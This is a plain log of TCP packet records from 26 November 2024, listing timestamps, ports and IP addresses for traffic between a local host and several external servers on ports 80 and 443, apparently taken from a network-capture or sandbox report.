Nov 26, 2024 00:07:21.369829893 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.371788979 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.371844053 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.371867895 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.371920109 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.456103086 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.456175089 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.456202030 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.456245899 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.456602097 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.456654072 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.456753016 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.456835985 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.458496094 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.458579063 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.458609104 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.458652973 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.460405111 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.460458994 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.460540056 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.460598946 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.462331057 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.462382078 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.462443113 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.462507963 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.464224100 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.464277029 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.464306116 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.464481115 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.466114998 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.466166973 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.466228008 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.466324091 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.468002081 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.468066931 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.468132973 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.468198061 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.469907045 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.470017910 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.470082045 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.470160007 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.471853971 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.471913099 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.471972942 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.472022057 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.473721981 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.473778963 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.473835945 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.473885059 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.475615025 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.475672007 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.475711107 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.475761890 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.477518082 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.477575064 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.477710009 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.477914095 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.479391098 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.479445934 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.479506016 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.479558945 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.481317997 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.481362104 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.481426954 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.481513977 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.483198881 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.483257055 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.483316898 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.483396053 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.485105991 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.485166073 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.485244036 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.485292912 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.487014055 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.487068892 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.487119913 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.487169981 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.488919020 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.488965988 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.488971949 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.489106894 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.490889072 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.490967035 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.490972996 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.491007090 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.492518902 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.492598057 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.492628098 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.492671967 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.493911028 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.493954897 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.494012117 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.494060040 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.495289087 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.495301008 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.495357990 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.496144056 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.496201038 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.496223927 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.496270895 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.497013092 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.497065067 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.497138977 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.497190952 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.497863054 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.497922897 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.497962952 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.498014927 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.498677015 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.498738050 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.498790026 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.498833895 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.499547958 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.499599934 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.499649048 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.499746084 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.500392914 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.500448942 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.500494003 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.500560999 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.501238108 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.501276016 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.501300097 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.501322985 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.502085924 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.502129078 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.502213001 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.502264023 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.502942085 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.502990961 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.503046989 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.503103971 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.503797054 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.503849030 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.503905058 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.503953934 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.504703999 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.504755020 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.504822016 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.504873037 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.505501986 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.505553007 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.505599022 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.505650043 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.506316900 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.506356001 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.506434917 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.506531954 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.507209063 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.507252932 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.507256985 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.507375956 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.507997990 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.508044958 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.508120060 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.508167028 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.508866072 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.508974075 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.508981943 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.509066105 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.509728909 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.509777069 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:21.509828091 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:21.509908915 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:22.757402897 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:22.757479906 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:22.761990070 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:22.761997938 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:22.762259960 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:22.811779976 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:23.334048986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:23.454125881 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:23.454477072 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:23.454893112 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:23.574790955 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:24.300978899 CET	80	49723	217.20.56.101	192.168.2.4
Nov 26, 2024 00:07:24.301136017 CET	49723	80	192.168.2.4	217.20.56.101
Nov 26, 2024 00:07:24.301229954 CET	49723	80	192.168.2.4	217.20.56.101
Nov 26, 2024 00:07:24.421129942 CET	80	49723	217.20.56.101	192.168.2.4
Nov 26, 2024 00:07:24.598747969 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:24.643337011 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:24.843954086 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:24.844034910 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:24.887193918 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:25.007178068 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:25.200932026 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.200953007 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.200959921 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.200968027 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.200994015 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.201042891 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:25.201061010 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.201072931 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:25.201106071 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:25.221612930 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.221676111 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:25.221678019 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:25.221721888 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:25.341356993 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:25.341414928 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:25.361371994 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:25.482078075 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:25.789424896 CET	80	49731	176.113.115.37	192.168.2.4
Nov 26, 2024 00:07:25.789501905 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:07:25.812637091 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:25.812650919 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:25.812690973 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:25.812719107 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:25.816116095 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:25.936007023 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266336918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266355991 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266365051 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266448975 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266460896 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266477108 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266479015 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.266486883 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.266515017 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.266540051 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.266540051 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.268222094 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.388369083 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.700948954 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:26.700948954 CET	49732	443	192.168.2.4	52.149.20.212
Nov 26, 2024 00:07:26.700968981 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:26.700978994 CET	443	49732	52.149.20.212	192.168.2.4
Nov 26, 2024 00:07:26.718987942 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.719208956 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.743541956 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.743629932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:26.863477945 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.863688946 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.863697052 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.863743067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.863782883 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.863850117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:26.863857985 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.331147909 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.331222057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.332281113 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.452178001 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.780994892 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.781277895 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.781368971 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.785073042 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.785177946 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.785240889 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.793569088 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.793695927 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.793839931 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.801918983 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.802054882 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.802114964 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.810359955 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.810427904 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.810501099 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.818829060 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.818921089 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.819016933 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.827228069 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.827426910 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.827478886 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.835618973 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.835692883 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.907237053 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.907305002 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.907327890 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.907469034 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.909765959 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.909807920 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.910015106 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.910056114 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.918270111 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.918342113 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.918385983 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.918432951 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.926615953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.926799059 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.982312918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.982379913 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.982444048 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.986260891 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.986391068 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.986496925 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:27.994460106 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.994534016 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:27.994584084 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.002571106 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.002614021 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.002679110 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.002758980 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.010734081 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.010791063 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.011027098 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.011116982 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.018933058 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.018984079 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.018985033 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.019027948 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.028095007 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.028173923 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.028182030 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.028228998 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.035183907 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.035283089 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.035310030 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.035504103 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.043354988 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.043420076 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.043463945 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.043504000 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.051552057 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.051609993 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.051620007 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.051676035 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.057332039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.057379007 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.057435989 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.057602882 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.062983990 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.063087940 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.063093901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.063160896 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.068331957 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.068403006 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.068557024 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.068622112 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.073828936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.073899984 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.073929071 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.073971987 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.079222918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.079268932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.108514071 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.108633995 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.108679056 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.111191034 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.111265898 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.112232924 CET	80	49734	92.255.57.88	192.168.2.4
